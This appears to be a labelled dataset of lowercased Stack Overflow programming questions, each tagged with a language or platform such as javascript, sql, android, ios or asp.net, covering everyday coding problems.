javascript - my settimeout in a while loop doesn t work  i wanted to do something like this:   <pre><code>&lt;p id= sec &gt;5&lt;/p&gt; &lt;script&gt; var i = 5; while (i &gt; 0){     settimeout(i-- 1000);     document.getelementbyid( sec ).innerhtml = i; } if (i === 0){     window.location =  index.php ; } &lt;/script&gt; </code></pre>   and without a split second  it redirected me to index.php  why does this happened  how to make it work,javascript
how check status of phone is landscape or portrait when ativity not auto rotation   ativity not auto rotation:   <pre><code>       &lt;activity             android:name= .e028              android:label= @string/app_name              android:screenorientation= portrait              android:theme= @android:style/theme.black.notitlebar  &gt;         &lt;/activity&gt; </code></pre>   if i use onconfigurationchanged   it not working:   <pre><code>@override     public void onconfigurationchanged(configuration newconfig) {         // todo auto-generated method stub         super.onconfigurationchanged(newconfig);         if (newconfig.orientation == configuration.orientation_landscape) {             toast.maketext(this   landscape   toast.length_short).show();         } else if (newconfig.orientation == configuration.orientation_portrait) {             toast.maketext(this   portrait   toast.length_short).show();         }     } </code></pre>   how check status of phone is landscape or portrait when ativity not auto rotation     i think this case: i must use sensor    my code:   <pre><code>@override     public void onsensorchanged(sensorevent event) {         // todo auto-generated method stub         if (event.values[1] &lt; 6.5 &amp;&amp; event.values[1] &gt; -6.5) {             if (orientation != 1) {                 log.d( sensor    landscape );                 // listimage.notifydatasetchanged();             }             orientation = 1;         } else {             if (orientation != 0) {                 log.d( sensor    portrait );                 // listimage.notifydatasetchanged();             }             orientation = 0;         }     } </code></pre>   but it working not best status of my phone is portrait: if inclined a little  back   value return is landscape.,android
need a view to give me a voucher number per valid date for user/carer relationship  having  a little difficulty with a view  i am sure the solution is staring me in the face!   <ol> <li> i am trying to get a view that gives me the result below  in dbo.voucher.vouchernumber order descending   <pre><code>select     top (100) percent dbo.voucher.vouchernumber dbo.voucher.vouchervalidfromdate   dbo.voucher.voucheruserid  dbo.usercarer.userautopay  dbo.voucher.vouchercarerid   dbo.careroptions.carerautopay in voucher number desc order </code></pre></li> <li> to determine the relationship between a carer and a user  where both have selected to be on  autopay    i have the following view that gives the correct results   <pre><code>select     top (100) percent dbo.careroptions.carerautopay  dbo.usercarer.userautopay   dbo.careroptions.carerid  dbo.usercarer.userid from         dbo.careroptions inner join dbo.usercarer on dbo.careroptions.carerid = dbo.usercarer.carerid where     (dbo.careroptions.carerautopay = 1) and (dbo.usercarer.userautopay = 1) </code></pre></li> <li> to find the voucher numbers of the correct status i have the following view   <pre><code>select     top (100) percent dbo.voucher.vouchernumber  dbo.voucher.vouchervalidfromdate   dbo.voucher.voucheruserid  dbo.voucher.vouchercarerid from         dbo.voucher inner join dbo.careroptions on dbo.voucher.vouchercarerid = dbo.careroptions.carerid where     (dbo.voucher.voucherstatusid = 2) or (dbo.voucher.voucherstatusid = 1) order by dbo.voucher.vouchernumber </code></pre></li> <li> i now want to combine these 2 views to give me the voucher numbers  with the valid <em>from date</em>  for all users where the user and the carer have chosen the <code>autopay</code> option  returning the user and carer id numbers  and the <code>autopay</code> choice for both. </li> </ol>   i have tried a few ways but not been completly successful  i return duplicate results and also results where the  carer  and  user  did not have the autopay choice. any suggestions would be gratefully accepted.,.net
sql - linked information  i have a database table  which a program is about to update.  i have taken a snapshot of the table before the program ran and a snapshot afterwards.  here is a sample of the data:    before update:   <pre><code>joinreference   user 1               user 1 1               user 2 1               user 3 2               user 4 2               user 5 2               user 6 </code></pre>   after update:      <pre><code>joinreference   user 3               user 1 3               user 2 3               user 3 4               user 4 4               user 5 5               user 6 </code></pre>   i am trying to find all the users that are not linked together after the update.  for example  user 1; user 2 and user 3 are linked before and after the update (even though they have a different join reference).  user 4 and five are still linked after the update.  user 6 is not linked after the update.  i am trying to return user 6 after the update.  i have tried using derived tables but it has not worked.      this is for a very large database.  the example i have given uses fields i have made up to explain the problem.  the database structure for the example would be like this:    create table joinedusers (joinreference int  user),sql
for loop counting last even when skipped <pre><code>for (int i = 0; i &lt; s.length(); i++) {         char c = s.charat(i);         token t;         stringbuilder sb;         if (character.isdigit(c)) {             sb = new stringbuilder().append(c);             for (int j = i + 1; j &lt; s.length(); j++) {                 if (character.isdigit(s.charat(j))) {                     sb.append(s.charat(j));                  } else {                     i = j-1;                     break;                 }             } </code></pre>   essentially it needs to go through a string  and pull out numbers.  numbers with multiple digits need to stay together.  it does this right for the most part  but if a multi-digit number is at the end  it copies the final digit into a new token. (tokens store data as strings  this code goes on to check for letters and variables too.)    i figure it s a problem with my  else  logic  but not sure how i should do that.    thanks    edit:  sample input: 4+j+55<br> output:<br> 4<br> +<br> j<br> +<br> 55<br> 5 &lt;----the thing i want to stop,java
android connect to pc s localhost when debugger on mobile device  i want to debug my android application  i connect the android device to my pc using the usb cable. in my application there is a button to connect with localhost  ip for localhost is <code>10.0.2.2</code> and the port is <code>8080</code>  i have read that when debugging on mobile  the ip <code>10.0.2.2</code> is the localhost for android device and not for my pc  so what changes should i make to the ip instead of <code>10.0.2.2</code>  or do i have to make another change  in this case my android device is <code>sony ericsson xperia arc s</code>.,android
iphone + nsuserdefault + nsmutablearray  i am trying to save a mutablearray in nsuserdefault as follows:   <pre><code>nsuserdefaults *prefs = [nsuserdefaults standarduserdefaults]; [prefs setobject:arrselectedplayers forkey:@ arrselectedplayers ]; </code></pre>   than i am trying to get this array:   <pre><code>arrselectedplayers =  [[prefs mutablearrayvalueforkey:@ arrselectedplayers ] mutablecopy]; </code></pre>   but i am not getting back my array.    please help.    regards  pratik,iphone
accessing and manipulating the values ( in list form) of a dictionary  i have a dictionary with keys and a list attached as value to each key. i have to traverse list value attached to each key and segregate them into two different lists with  0  and  1  ( as  0  and  1  are the values in the list) also with the count of  0     1  and the total. please let me know how should i go abut doing this. thanks,python
used type  uitextfield  where arithmetic or pointer type is required   this is where i call my method (send message):   <pre><code>   [db savesitedata:(uitextfield) txtsiteid with:(uitextfield) txtsta and:(uitextfield) txtsitedesc and: (uitextfield) txtelev ] </code></pre>   this is the declaration of the method:   <pre><code>- (void) savesitedata:(uitextfield*) txtsiteid sta:(uitextfield*) txtsta desc:(uitextfield*) txtsitedesc elev:(uitextfield*) txtelev { </code></pre>   this is the error message i m getting on the message call:   <blockquote>    used type  uitextfield  where arithmetic or pointer type is required  </blockquote>   how do i fix this   (i m a newbie  learning as fast as i can..) :d,objective-c
why can t i use linq or extensions when i assign a list to an expandoobject  i can find whether an item exists on a normal list as follows:   <pre><code>dim x as new list(of string) dim result = x.any(function (y) y.length &gt; 4) </code></pre>   returns true or false depending on whether there is any item of more than 4 characters.    however  if i do this:   <pre><code>dim e as object = new expandoobject dim x as new list(of string) e.items = x  dim result = e.items.any(function (y) y.length &gt; 4) </code></pre>   produces an error message saying any is not an extension method of list.    can anyone tell me why this happens and whether i can assign a list to an expandoobject and then use extension methods.    thanks,.net
im trying to calculate the number off days between 2 date objects <pre><code>public static int countweeks() {     // setting dates     calendar calstart = gregoriancalendar.getinstance();     calstart.set(2014  8  30);     date datestart = calstart.gettime();      date dateend = new date();      // count days and weeks     int diffindays = days.daysbetween(new datetime(datestart)  new datetime(dateend)).getdays(); //         int weeknumber = (int) diffindays / 7;      return weeknumber;  } </code></pre>   i m trying to calculate the number of days and weeks between today and last week but i always get -3 as weeknumber. i have no idea what i m doing wrong. thanks in advance.,java
sql query to get last 1 year data using year and week number  i am trying to write a sql query to get data for last year. i don t have a date column in my table  but have <code>year</code> and <code>weekno</code>. suppose this is <code>weekno</code> <code>26</code> in <code>year</code> <code>2017</code>  i need to get the data from <code>weekno</code> <code>26</code> <code>year</code> <code>2016</code> to <code>weekno</code> <code>26</code> <code>year</code> <code>2017</code>.     columns in my table are:   <pre><code>year weekno yearweek(eg 2016 26) datax </code></pre>   thanks for the help in advance!,sql
android: how to connect to my local mysql   i try to connect mysql.and can use the postman get data from 192.168.56.1:8080/bookbankservice/rest/api/getall and when i use chorme in genymotion browse 192.168.56.1:8080/ can see the tomcat page. but when i test my code the  result  return null. and when i use debugger i can see the postrequest url is 192.168.56.1t:8080/bookbankservice/rest/api/getall (ingore locahost mean 192.168.56.1 here)   <pre><code>public static string post(string url  string json) {     localhosturl = http://192.168.56.1:8080/bookbankservice/rest/api             string result =   ;     try {         string strrequest = localhosturl + url;         httppost postrequest = new httppost(strrequest);         postrequest.setheader( content-type    application/json );         postrequest.setheader( accept    application/json );         postrequest.setheader( accept   text/plain );         stringentity s = new stringentity(json);         s.setcontentencoding( utf-8 );         s.setcontenttype( application/json );         postrequest.setentity(s);         httpresponse response = httpclient.execute(postrequest);         result = getresult(response).tostring();      } catch (exception e) {         system.out.println(e.getmessage());     }     return result; } </code></pre>,android
operator[] overloading  there is a class like this:   <pre><code>class x {     public:         ...     private:         int changeable[3];         int unchangeable[3]; };     </code></pre>   and this is its desirable usage:   <pre><code>x x; x[0] = 1;  // here changeable[0] should be used a = x[0];  // here unchangeable[0] should be used </code></pre>   is there any way of defining <code>operator[]</code> in <code>class x</code> to implement that,c++
how to get all supported cultureinfos of an resourcemanager instance   i want to retrieve all the supported cultureinfos of an resourcemanager instance so i can give the user a feedback which languages are supported. am i missing something or is there no easy way to retrieve such a list,.net
how to avoid duplicate files (of different extensions) when auto generating new files  i have created a program which cleans access and error logs and then outputs them in a new file in the same directory. the input is in format .txt and the output is in format .csv - however it is giving me two output files  one in .csv format and one in .txt format(.txt file is empty) instead of just the .csv file  i can t understand why this is happening.  below is the two ouput files as shown in the directory:     <a href= https://i.stack.imgur.com/xgyfb.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/xgyfb.png  alt= the two files generated from the code: ></a>    below is the code which generates the new file with the unique name:    <pre><code> static filestream createfilewithuniquename(string folder  string filename  int maxattempts = 1024)         {             var filebase = path.getfilenamewithoutextension(filename);             var ext = path.getextension(filename);              // build hash set of filenames for performance              var files = new hashset&lt;string&gt; (directory.getfiles(folder));      for (var index = 0; index &lt; maxattempts; index++)          {             // first try with the original filename  else try incrementally adding an index             var name = (index == 0)                   filename                 : string.format( {0} ({1}){2}   filebase  index  ext);              // check if exists              var fullpath = path.combine(folder  name);              if(files.contains(fullpath))                 continue;              // try to create the file             try             {                  return new filestream(fullpath  filemode.createnew  fileaccess.write);             }             catch (directorynotfoundexception) { throw; }             catch (drivenotfoundexception) { throw; }             catch (ioexception)              {              }           }     throw new exception( could not create unique filename in   + maxattempts +   attempts );        } </code></pre>   and finally the code below is the code which reads in the existing file and cleans it:    <pre><code>public static void readfile(string filename)     {         using (var stream = createfilewithuniquename(@ c:\users\michael\desktop\windowsformsapplication1\windowsformsapplication1\bin\debug\   filename))         {             console.writeline( created \   + stream.name +  \  );              newfilename = stream.name;             globals.cleanederrorfilename = newfilename;         }          string csvfilename = path.changeextension(newfilename   .csv );         streamreader reader = new streamreader(filename);         streamwriter writer = new streamwriter(csvfilename);         string line;          string personalidentifier = new string(filename.take(4).toarray());         string gender = filename.substring(filename.length - 5  1);         string classification = filename.substring(filename.length - 8  2);         string text = string.empty;           while ((line = reader.readline()) != null)         {             string[] cleanarray;             cleanarray = new string[5];              var result = line.split( [ )                  .select((element  index) =&gt; index % 2 == 0                     element.split(new[] {     }  stringsplitoptions.removeemptyentries)                   : new string[] { element })                  .selectmany(element =&gt; element).tolist();              cleanarray[0] = personalidentifier;             cleanarray[1] = gender;             cleanarray[2] = classification;             cleanarray[3] = result[0];             cleanarray[4] = result[2];              cleanarray[4] = cleanarray[4].substring(7);             cleanarray[4] = cleanarray[4].replace( ]      );             cleanarray[4] = cleanarray[4].insert(15     );              cleanarray[3] = cleanarray[3].remove(cleanarray[3].length - 2);              cleanarray[4] = cleanarray[4].substring(0  cleanarray[4].indexof( : ) + 1);               //re-formatting the date so that it can be accepted by machine learning             var datestring = cleanarray[3];             var date = datetime.parseexact(datestring   ddd mmm dd hh:mm:ss yyyy   cultureinfo.invariantculture);             var newdatestring = date.tostring( yyyy-mm-dd hh:mm:ss );              //inserting the new date and time into the array             cleanarray[3] = newdatestring;              //push each clean array onto the file that has been automatically created at the top             writer.writeline(string.join(      cleanarray.select(v =&gt; v.tostring())));             writer.writeline();         } </code></pre>   i m hoping the issue is something small but i can t seem to find it!  thanks in advance!!,c#
how to get visible viewcontroller from app delegate when using storyboard   i have some <code>viewcontrollers</code>  and i don t use <code>navigationcontroller</code>. how can i get visible view controller in app delegate methods (e.g. <code>applicationwillresignactive</code>)     i know how to do it from <code>nsnotification</code>  but i think it s the wrong way.,ios
i can not send a request  i think my problem will be e laughti thing for you.     i have three classes called (cloudcommunicator  energymanagerjob and the main)    my <strong>cloudcommunicator</strong> looks like that:    <pre><code>public class cloudcommunicator {        private string _chargingstationid;       public  void cloudcommunicator(string charginstationid)       {             _chargingstationid = charginstationid;       }        public  energymanagerjob sendrequest(boolean chargingongoing  boolean setcarconnectedtochargepoint  int setchargingstationdisfunction  float setmetervalue  string setuserid)       {            dchargingstationrequest dchargingstationrequest = new dchargingstationrequest();            dchargingstationrequest.chargingongoing=chargingongoing;      dchargingstationrequest.carconnectedtochargepoint=setcarconnectedtochargepoint;      dchargingstationrequest.chargingstationdisfunction=setchargingstationdisfunction;            dchargingstationrequest.chargingstationid = _chargingstationid;             dchargingstationrequest.metervalue=setmetervalue;            dchargingstationrequest.userid=setuserid;             try            {                         evseheartbeatservice_service hbs = new evseheartbeatservice_service();                 evseheartbeatservice h = hbs.getevseheartbeatservicesoap11();                 dchargingstationresponse response = h.chargingstation(dchargingstationrequest);                  energymanagerjob emj = new energymanagerjob();                 emj.allowedmaximumcurrent = response.allowedmaximumcurrent;                 emj.chargingpending = response.chargingpending;                 emj.poweron = response.poweron;           }           catch(exception e)           {                 system.out.println( exception =   + e.getmessage());           }            return sendrequest(chargingongoing = true  setcarconnectedtochargepoint =false  setchargingstationdisfunction = 0  setmetervalue = 44  setuserid = ich );       } </code></pre>   and my <strong>energymanagerjob</strong> look like this:   <pre><code>public class energymanagerjob {       public double allowedmaximumcurrent;      public boolean chargingpending;      public boolean poweron;  } </code></pre>   so we will come to the problem. in my main i have a while. i want to send the dates of de cloudcommunicator to the server. and then i get an answer.     my <strong>main</strong> look like this.   <pre><code>public class main {   public static void main(string[] args){      while (true)      {          cloudcommunicator ccc = new cloudcommunicator();         ccc.sendrequest (chargingongoing  setcarconnectedtochargepoint  setchargingstationdisfunction   setmetervalue   setuserid);           dchargingstationresponse response = new dchargingstationresponse();         system.out.println( \ndie lade station startet:    + response.allowedmaximumcurrent);         system.out.println( die lade station wurde gestartet:   +response.ischargingpending());         system.out.println( die lade station wurde gestartet:   +response.ispoweron());         try {             thread.sleep(30000);         } catch(interruptedexception ex) {             thread.currentthread().interrupt();         }            }      }  } </code></pre>   thank you for the help. i think its not a big problem but i have a blackout. xd,java
not display the correct age  i have this query to display the age. however its not display age greater than 55. the dob is set as date in the table.    below is the query i used.   <pre><code>select staff.first_name  staff.middle_name  staff.last_name  staff.telephone  timestampdiff(year  dob  curdate()) as age from staff where dob &gt;= 55 order by dob desc; </code></pre>   its displaying ages from young as 21 and so forth.    any correction made will be appreciated,sql
write a sql statement which displays the name of each teacher  together with the name of his/her reporting officer  i have a trouble in doing the 3rd question  i think i should use inner join but i cant get it correctly. need some help. here is the sql.   <pre><code>create table teacherinfomation ( teachername nvarchar(100)  teacherid nvarchar(10)  reportingofficerid nvarchar(10)  primary key(teachername teacherid) );  insert into teacherinfomation values ( queenie   213p   204p ) insert into teacherinfomation values ( rachel   225p   204p ) insert into teacherinfomation values ( sarah   278p   254p ) insert into teacherinfomation values ( tina   290p   245p ) insert into teacherinfomation values ( violet   300t   213p ) insert into teacherinfomation values ( wesley   301t   225p ) insert into teacherinfomation values ( xena   204p   200p ) insert into teacherinfomation values ( yvonne   245p   200p ) insert into teacherinfomation values ( zachary   200p   null )  1) select * from teacherinfomation  2) select teachername from teacherinfomation where teacherid like  %p   question im stuck at 3) select count(teachername) as totalnumberofteachers reportingofficerid from teacherinfomation group by reportingofficerid </code></pre>   <a href= https://i.stack.imgur.com/uajjr.png  rel= nofollow noreferrer >questionpaper</a>,mysql
"simple text formatting inside of boxes issues  i have been fiddling with text within boxes for some time and i notice when the screen resizes the top of the box always adds this additional padding even if it is not in the code. is there any tip that would allow the box dimensions to not add extra padding when the screen resize     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>* {
     box-sizing: border-box;
 }
 
 /* create three columns of equal width */
 .columns {
     float: left;
     width: 33.3%;
     padding: 8px;
 }
 
 /* style the list */
 .price {
     list-style-type: none;
     border: 1px solid #eee;
     margin: 0;
     padding: 0;
     -webkit-transition: 0.3s;
     transition: 0.3s;
 }
 
 /* add shadows on hover */
 .price:hover {
     box-shadow: 0 8px 12px 0 rgba(0 0 0 0.2)
 }
 
 /* pricing header */
 .price .header {
     background-color: #111;
     color: white;
     font-size: 25px;
 }
 
 /* list items */
 .price li {
     border-bottom: 1px solid #eee;
     padding: 20px;
     text-align: center;
 }
 
 /* grey list item */
 .price .grey {
     background-color: #eee;
     font-size: 20px;
 }
 
 /* the  sign up  button */
 .button {
     background-color: #4caf50;
     border: none;
     color: white;
     padding: 10px 25px;
     text-align: center;
     text-decoration: none;
     font-size: 18px;
 }
 
 /* change the width of the three columns to 100% 
 (to stack horizontally on small screens) */
 @media only screen and (max-width: 600px) {
     .columns {
         width: 100%;
     }
 }
 try it yourself »</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= columns &gt;
   &lt;ul class= price &gt;
     &lt;li class= header &gt;basic&lt;/li&gt;
     &lt;li class= grey &gt;$ 9.99 / year&lt;/li&gt;
     &lt;li&gt;10gb storage&lt;/li&gt;
     &lt;li&gt;10 emails&lt;/li&gt;
     &lt;li&gt;10 domains&lt;/li&gt;
     &lt;li&gt;1gb bandwidth&lt;/li&gt;
     &lt;li class= grey &gt;&lt;a href= #  class= button &gt;sign up&lt;/a&gt;&lt;/li&gt;
   &lt;/ul&gt;
 &lt;/div&gt;
 &lt;div style= position:relative; &gt;
   &lt;div style= color:#ddd;background-color:#282e34;text-align:center;padding:20px 20px;text-align: justify; &gt;
     &lt;h2 align= center &gt;plan it&lt;/h2&gt;&lt;br&gt;lorem ipsum is simply dummy text of the printing and typesetting industry. lorem ipsum has been the industry s standard dummy text ever since the 1500s  when an unknown printer took a galley of type and scrambled it to make a type specimen book. it has survived not only five centuries  but also the leap into electronic typesetting  remaining essentially unchanged. it was popularised in the 1960s with the release of letraset sheets containing lorem ipsum passages  and more recently with desktop publishing software like aldus pagemaker including versions of lorem ipsu &lt;/p&gt;
       
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
does ios have  complete action with  dialog like android for opening direction apps  how to achieve  open with  dialog when opening a direction  user can select use apple map  google map  waze and others,ios
question related to conversion from nsdate to nsstring  nsstring *abc = @ 2009-12-12 16:25:00 ;    i have 1 string in this format as shown above.    nsdate *currentdate = [nsdate date]; now i want currentdate in also this format  as specified 2009-12-12 16:25:00    and also i want to convert this currentdate from nsdate to nsstring format with specified thisformat 2009-12-12 16:25:00    help me,iphone
angular ng-init:  injecting data via server side scripting   from the angular docs regarding ng-init:   <blockquote>    this directive can be abused to add unnecessary amounts of logic into   your templates. there are only a few appropriate uses of nginit  such   as for aliasing special properties of ngrepeat  as seen in the demo   below; and for injecting data via server side scripting.  </blockquote>   could anyone explain the second use case:    <blockquote>    ...and for injecting data via server side scripting.  </blockquote>   specifically  would it be appropriate to use this directive to pass a value (e.g. model record id) from a rails/php view to an angular controller     other methods (using $location) seem unnecessarily complicated.,angularjs
image view appears for a few seconds then screen goes white  if using the latest xcode 7 (xcode 7 gm seed) i perform these steps:   <pre><code>1) create new project / single view application 2) disable size classes 3) in the storyboard add an image view as a child of the main view 4) in the storyboard provide an image for the image view 5) run on a device with ios 9 </code></pre>   when the app launches the image is displayed for about 2 seconds  then the view goes white.    what s going on  i literally have done nothing other than the 5 steps above. why is the image initially appearing then disappearing.     this is 100% repeatable  i can create any new project  add a image view  same effect. bug with xcode  ios 9  surely this would have been noticed by now  7 &amp; 9 are both advanced now. what else then     [and for any overzealous jobsworths out there  no i don t have any code to post  i haven t written any  its all boilerplate],ios
dynamically created textboxes and changes plus jquery in asp.net   i was wondering how to read off a value from a textbox that resides in a partialview and output the value into a textbox within the initial window.    here s my code...   <pre><code>&lt;script type= text/javascript &gt; $(document).ready(function (e) {      // calculate the sum when the document has been loaded.     var total = 0;     $( #fieldvalues :input.fieldkronor ).each(function (e) {         total += number($(this).val());     });      // set the value to the correspondent textbox     $( #fieldsummation ).text(total);      // re-calculate on change     $( #fieldvalues :input.fieldkronor ).change(function (e) {         var total = 0;         $( #fieldvalues :input.fieldkronor ).each(function (e) {             total += number($(this).val());         });          $( #fieldsummation ).text(total);      }); }); &lt;/script&gt; </code></pre>   here s the table where in info is...   <pre><code>&lt;table id= fieldvalues  style= width: 60%; margin-bottom: 2em &gt;             &lt;thead&gt;                 &lt;tr&gt;                     &lt;th&gt;rubrik  t.ex. teknik*&lt;/th&gt;                     &lt;th&gt;kronor (ange endast siffror)*&lt;/th&gt;                 &lt;/tr&gt;             &lt;/thead&gt;              &lt;asp:panel id= pnlstaffrows  runat= server &gt;&lt;/asp:panel&gt;              &lt;tfoot&gt;                 &lt;tr&gt;                     &lt;th&gt;&lt;/th&gt;                     &lt;th&gt;total kostnad&lt;/th&gt;                 &lt;/tr&gt;                 &lt;tr&gt;                     &lt;td&gt;&lt;/td&gt;                     &lt;td&gt;&lt;input type= text  value=   class= fieldsummation  style= width:120px  /&gt;&lt;/td&gt;                 &lt;/tr&gt;             &lt;/tfoot&gt;         &lt;/table&gt; </code></pre>   and here s the partialview...   <pre><code>&lt;tr&gt;     &lt;td class= greyboxchildsocialsecuritynumberheading4  style= padding-bottom:1em &gt;         &lt;asp:textbox id= txtrubrikbox  tooltip= rubrik  runat= server  width= 120 &gt;&lt;/asp:textbox&gt;     &lt;/td&gt;     &lt;td class= greyboxchildnameheading3  style= padding-bottom:1em &gt;         &lt;asp:textbox id= txtkronorbox  class= fieldkronor  tooltip= kronor  runat= server  width= 120 &gt;&lt;/asp:textbox&gt;     &lt;/td&gt;                &lt;/tr&gt; </code></pre>,asp.net
what http header does httpcontext.current.request.issecureconnection look for   i assume that httpcontext.current.request.issecureconnection in asp.net looks at some http header to determine whether the connection is secure.    does anyone know which header is it looking at,asp.net
javascript remove repeated words from array element  given an array:     <pre><code>let myarr = [ maybe he is a student    he is a boy    a boy ]; </code></pre>   a javascript code is needed to remove all words in each element which are present in all of the other elements of the array and be unique so that no elements are repeated in the results.  so the wanted result would be:     <pre><code>return [ maybe he is student   he is boy    boy ]; //  a  is common thus removed </code></pre>   any suggestion on an efficient solution  thx      <strong>edit</strong><br> my options are:<br> 1) convert each element to an array and use some underscore magic.<br> 2) concat 2 elements at a time and remove duplicate words.<br> 3) loop with in a loop and pull my hair...,javascript
asp.net - custom error pages reporting on the error  i m trying to set it up so that when an error is thrown in my asp.net site  the resulting custom error page returns an identifier  which can be used to look an error up in the database.    the custom error page is set up in the web.config using the  customerrors  functionality.   <pre><code>  &lt;customerrors defaultredirect= ~/error/error.aspx  mode= remoteonly &gt;       &lt;error statuscode= 404  redirect= ~/error/error.aspx status=404  /&gt;   &lt;/customerrors&gt; </code></pre>   i m currently bridging the gap using the session to pass along the id.    in global.asax   <pre><code>    protected void application_error(object sender  eventargs e)     {         exception ex = httpcontext.current.server.getlasterror();         var errorcode = exceptionmanager.publish(ex);         session[ error_identifier ] = errorcode;     } </code></pre>   in the customerror page:   <pre><code>&lt;%@ page language= c#  debug= true  %&gt; &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head runat= server &gt;   &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt;   &lt;title&gt;error page&lt;/title&gt;   &lt;link href= /error/css/main.css  rel= stylesheet  type= text/css  /&gt; &lt;/head&gt; &lt;body&gt;   &lt;%      string erroridentifier = session[ error_identifier ] == null    this is null  : session[ error_identifier ].tostring();      response.write( there s been an error. please send this identifier to service desk -&gt;   + erroridentifier);   %&gt; &lt;/body&gt; &lt;html&gt; </code></pre>   unfortunately  what seems to happen in this workflow is that the customerror page loads faster than the global.asax runs. basically these are two distinct operations and they re being run separately  and i d like to make it so that the custom error page has the correct identifier in it.    thanks  alex,asp.net
one div over two others but operating only on one of them  hi i d like to do something like this:    outlook on divs   <a href= https://drive.google.com/file/d/0b7_dgiq7dtzedxpzdlpmaty2cfu/view usp=sharing  rel= nofollow >https://drive.google.com/file/d/0b7_dgiq7dtzedxpzdlpmaty2cfu/view usp=sharing</a>    div settings are just for a better understanding of which is which:   <pre><code>  div1 - z-index: 1; background: red;   div2 - z-index: 2; background-image: url( triangle.png );   div3 - z-index: 3; background: rgba(255 255 255 0.65); </code></pre>   div3 is only operating / covering div2.    any ideas how to do this,css
"why doesn t a ruleset for multiple ::selection selectors work   why is it not possible to use the same ruleset for multiple <code>::selection</code>s as it is for other elements (eg <code>div  span { }</code>)      why doesn t the second example work <br> <br>    this works: <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>::selection {
  background: red; 
 }
 ::-moz-selection {
  background: red; 
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>some text</code></pre>
 </div>
 </div>
     <br> whereas this doesn t:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>::selection 
 ::-moz-selection {
  background: red; 
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>some text</code></pre>
 </div>
 </div>
     <br> why so",css
how to compile multiple objective c files into one library   is it possible to compile multiple objective c (.m) files into one .a library  the resulting code would be used in iphone apps via xcode.    if yes  do you have any links to a tutorial  or can you paste a makefile,objective-c
apple developer app portal can longer generate new bundle seed id  the new interface in ios developer portal no longer has the generate new button for your app id.  in its place is a  use team id   which will result in the same seed id being used.  anyone has any idea why the change and what you should do to use a new bundle seed id  randomly make up some,ios
understand python function  i m learning python and wanted to see if anyone could help break down and understand what this function does step by step    <pre><code>def label(self  index  *args):               label each axes one at a time      args are of the form &lt;label 1&gt; ... &lt;label n&gt;      apiparam: chxl               self.data[ labels ].append(      str( %s:|%s %(index   | .join(map(str args)) )).replace( none    )      )      return self.parent  </code></pre>,python
modifying lists within tuples  i had read that python tuples cannot be modified  after they are created. for example  item assignment is not allowed for tuple objects. however  if i have list objects inside a tuple  then i am allowed to append to that list. so  shouldn t python disallow that  as we are basically modifying a tuple,python
how to delete item local database  how to remove items local database after added   <pre><code> add( 01:23:45:67:89:ac    yes ); //add new item       static void add(string id  string input)     {         using (sqlceconnection connection = new sqlceconnection( datasource=base.sdf ))         {             connection.open();             try             {                 using (sqlcecommand command = new sqlcecommand( insert into userinput values(@macadres  @userinput)   connection))                 {                     command.parameters.add(new sqlceparameter( macadres   id));                     command.parameters.add(new sqlceparameter( userinput   input));                     command.executenonquery();                 }             }             catch             {                 console.writeline( not ok. );             }             connection.close();         }     } </code></pre>   need to remove added 01:23:45:67:89:ac    deleterecord( 01:23:45:67:89:ac );   <pre><code>    static void deleterecord(string id)     {         using (sqlceconnection connection = new sqlceconnection( datasource=base.sdf ))         {             connection.open();             try             {                 using (sqlcecommand command = new sqlcecommand( delete from userinput where macadres =   + id +    ))                 {                     command.connection.open();                     command.executenonquery();                 }             }             catch(exception ex)             {                 console.writeline(ex.message);             }             connection.close();         }     } </code></pre>,.net
what happens between page.preload and page.load events   question is pretty straight forward.    is there a technical reason for the existence of page.preload or is this just convenience to have a place where you can neatly place code that always have to be executed before the load code     is there a difference between adding code in the preload event handler and adding code at the top of the load event handler     and what would be a typical scenario where you use preload     thanks!,asp.net
how can i implement backspace   i am trying to simulate a keyboard interface using buttons and labels...    i understand that the method:   <pre><code>stringbyappendingstring: </code></pre>   allows me to append the label by a string.    the question is... i m trying to implement a backspace button in my code...    every time it is pressed  i d like to be able to simulate a backspace by removing 1 character at a time. how do i do this,objective-c
iphone apps development  i m very keen to learn iphone apps development. can you experts give me some tips as to which programing tool i should learn  tools i should install [of course   i prefer free tools]   operating system i need  [i only have windows xp and unix flavours on my personal laptop]. do i need to have iphone to test my apps  [poor guy  i don t own a iphone].    <strong>thanks to all who responded   every message seems very informative and useful (+1 to all)  i will go through each and every suggestion</strong>,iphone
how to check for default yield in a view   in a layout  i want to output certain areas  only when there is data for them. this is easy for named partials  but how do i check for the default yield    <pre><code>-if content_for nil   #content.span-24     = yield </code></pre>   can i actually yield nothing at all,ruby-on-rails
asihttp: addoperation when other threads are running  i have a project using asihttp to multi download files from a site    when i add a new request:   <pre><code>[networkqueue cancelalloperations]; [networkqueue  setdownloadprogressdelegate:a]; [networkqueue  setdelegate:self]; [networkqueue   setrequestdidfinishselector:@selector(requestdone:)];  nsurl *url = [nsurl urlwithstring:@ http://www.google.com ]; asihttprequest *request = [asihttprequest requestwithurl:url]; [request setdelegate:self]; [request startasynchronous]; [networkqueue  addoperation:request];  [networkqueue  go]; </code></pre>   it reported:    <strong>* terminating app due to uncaught exception  nsinvalidargumentexception   reason:  *</strong> -[asinetworkqueue addoperation:]: operation is executing and cannot be enqueued     it looks like i can not add a new request when others are running.    welcome any comment    thanks    interdev,iphone
